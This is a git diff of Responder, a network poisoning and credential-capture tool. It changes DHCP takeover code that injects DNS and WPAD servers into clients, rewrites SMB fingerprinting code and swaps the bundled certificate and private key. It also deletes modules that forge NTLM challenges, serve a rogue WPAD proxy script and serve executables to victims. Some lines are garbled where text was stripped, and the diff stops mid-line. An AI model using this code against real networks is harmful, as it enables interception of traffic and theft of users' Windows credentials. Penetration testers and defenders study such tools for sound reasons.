diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6fbeb3f --- /dev/null +++ b/.gitignore @@ -0,0 +1,64 @@ +/plugins/old_plugins/ +backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Responder logs +*.txt +*.log +logs/* diff --git a/CHANGELOG b/CHANGELOG deleted file mode 100644 index 24cf12b..0000000 --- a/CHANGELOG +++ /dev/null @@ -1,67 +0,0 @@ -ChangeLog Responder 2.1.4: -- Added: FindSMB2UPTime.py -- Added: FindSQLSrv.py -- Added: DontRespondTo and DontRespondToName options in Responder.conf -- Added: Lanman module -- Added: Analyze mode -- Added: SMBRelay -- Removed: Old style options (On/Off). Just use -r instead of -r On. -- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only. -- Added: In-scope llmnr/nbt-ns name option -- Added: Kerberos hash support -- Added: DHCP INFORM take over tool (DHCP.py) -- Added: MDNS Poisoner. -- Added: -F command line switch to force NTLM authentication on PAC file retrieval. -- Added: Ability to inject custom HTML in HTTP responses. -- Added: New WPAD proxy server. Enabled by default. -- Several improvements. -- Added: SMTP module -- Added: POP3 module -- Added: MSSQL plaintext auth support -- Added: SMB Relay -- Added: NBT-NS name is now printed. -- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting. -- Added: Ability to change the HTML payload returned after authentication. See Responder.conf -- Added: Ability to change the pac script in Responder.conf -- Added: Configuration file for Responder. See Responder.conf -- Removed: Several options removed. -- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140. -- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server. -- Added: Ability to bind Responder to a specific interface -- Fix: Several fixes -- Added: HTTPS module. -- Added: Support for LM Hash downgrade. -- Added: WPAD transparent proxy server. -- Fix: minor bug fix -- Fix: Fixed bug in HTTP server. -- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP. -- Added: Ability to turn on/off the DNS server. -- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members. -- Added: SMB Clear Text function for NT4 specific. -- Added: DNS server module. -- Added: FTP server module. -- Added: Ability to find the PDC in stealth mode with the Browser listener. -- Several changes. -- Removed: -d option (Domain), useless for now. -- Added: SMB Extended Security NTLMSSP authentication. -- Added: Fingerprint module. -- Added: Ability to turn off independently capture services.(mubix) -- Added: Function to grab HTTP cookies. -- Fix: Typo in logfile description. -- Added: Option for logging to a file (ravenium). -- Added: Basic exception handling for server sockets (ravenium). -- Added: Logging functionality, now logs all Responder activity to a file with date and time. -- Added: Print IP address to stdout for each protocol. -- Improvement: Added new line on Writedata (atucom). -- Improvement: final Hash is now printed to stdout instead of NT and LM. -- Fix: Fixed spelling in README (atucom). -- Fix: Removed hardcoded challenge for SQL NTLM. -- Fix: Removed hardcoded challenge for HTTP NTLM. -- Added an HTTP server with support for ntlmv1/v2 and basic Auth. -- Added command line switch support with optparse. -- Added -r switch, which allows turning On/Off Wredir answers. -- Added the possibility to turn off HTTP server using the -s switch. -- Added LLMNR module. -- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are - empty. -- Several minor changes. diff --git a/Certs/gen-self-signed-cert.sh b/Certs/gen-self-signed-cert.sh index e9f3c73..c9b948a 100755 --- a/Certs/gen-self-signed-cert.sh +++ b/Certs/gen-self-signed-cert.sh @@ -1,2 +1,3 @@ #!/bin/bash -openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr +openssl genrsa -out responder.key 2048 +openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" diff --git a/Certs/responder.crt b/Certs/responder.crt index ac239e8..86d9172 100644 --- a/Certs/responder.crt +++ b/Certs/responder.crt @@ -1,19 +1,18 @@ -----BEGIN CERTIFICATE----- -MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB -VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0 -cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG -A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0 -IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB -AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs -r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43 -YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl -D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO -Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl -qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9 -wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE -FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN -s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ -B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt -X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu -1eVgF/UkX9fqJg== +MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw +NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC +AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k +sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP +2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC +6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg +WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF +N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU +YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm +6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 +YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 +koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 +4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw +YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW +HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v +u0/CRCN/lg== -----END CERTIFICATE----- diff --git a/Certs/responder.key b/Certs/responder.key index 2b7cbc0..f112a74 100644 --- a/Certs/responder.key +++ b/Certs/responder.key @@ -1,27 +1,27 @@ -----BEGIN RSA PRIVATE KEY----- -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 -----END RSA PRIVATE KEY----- diff --git a/DHCP.py b/DHCP.py index 1828ef7..606dcbc 100755 --- a/DHCP.py +++ b/DHCP.py @@ -20,36 +20,24 @@ from odict import OrderedDict from socket import inet_aton, inet_ntoa -parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', - prog=sys.argv[0], - ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - +parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") - parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") - parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") - parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") - parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") - parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") - parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD") - parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof") - parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request") - options, args = parser.parse_args() def ShowWelcome(): Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n' print Message -if options.OURIP is None: +if options.Responder_IP is None: print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" parser.print_help() exit(-1) @@ -84,10 +72,10 @@ RespondTo = config.get('Responder Core', 'RespondTo').strip() #Setting some vars Interface = options.Interface -OURIP = options.OURIP +Responder_IP = options.Responder_IP ROUTERIP = options.RouterIP NETMASK = options.Netmask -DHCPSERVER = options.OURIP +DHCPSERVER = options.Responder_IP DNSIP = options.DNSIP DNSIP2 = options.DNSIP2 DNSNAME = options.DNSNAME @@ -102,7 +90,7 @@ def SpoofIP(Spoof): if Spoof: return ROUTERIP else: - return OURIP + return Responder_IP def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: diff --git a/FindSMB2UPTime.py b/FindSMB2UPTime.py index 46346a4..1fa855e 100755 --- a/FindSMB2UPTime.py +++ b/FindSMB2UPTime.py @@ -53,6 +53,8 @@ def NbtLen(data): Len = struct.pack(">i", len(data)) return Len +from packets import SMBHeader +""" class SMBHeader(Packet): fields = OrderedDict([ ("Proto", "\xff\x53\x4d\x42"), @@ -68,6 +70,7 @@ class SMBHeader(Packet): ("UID", "\x00\x00"), ("MID", "\x00\x00"), ]) +""" class SMBNego(Packet): fields = OrderedDict([ diff --git a/Fingerprint.py b/Fingerprint.py index 29a7837..e3ca02c 100644 --- a/Fingerprint.py +++ b/Fingerprint.py @@ -15,120 +15,55 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import re,sys,socket,struct,string -from socket import * +import re +import sys +import socket +import struct +import string +import logging + +from utils import * from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack("i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + return OsNameClientVersion(data) + except: + print color("[*] ", 1, 1) +" Fingerprint failed" + return None diff --git a/FingerprintRelay.py b/FingerprintRelay.py deleted file mode 100644 index f9ec48f..0000000 --- a/FingerprintRelay.py +++ /dev/null @@ -1,132 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import struct -from odict import OrderedDict -from base64 import b64decode,b64encode - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -#HTTP Packet used for further NTLM auth. -class IIS_Auth_401_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - -#HTTP Packet Granted auth. -class IIS_Auth_Granted(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -#HTTP NTLM Auth -class NTLM_Challenge(Packet): - fields = OrderedDict([ - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - - ##Then calculate - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - # Target Name Offsets - self.fields["TargetNameOffset"] = struct.pack(". -import struct -from odict import OrderedDict -from base64 import b64decode,b64encode - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found. -class WPADScript(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("CRLF", "\r\n\r\n"), - ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServerExeFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", "Content-Type: application/octet-stream\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServeAlwaysExeFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", "Content-Type: application/octet-stream\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentDisp", "Content-Disposition: attachment; filename="), - ("ContentDiFile", ""), - ("FileCRLF", ";\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -class ServeAlwaysNormalFile(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 200 OK\r\n"), - ("ContentType", 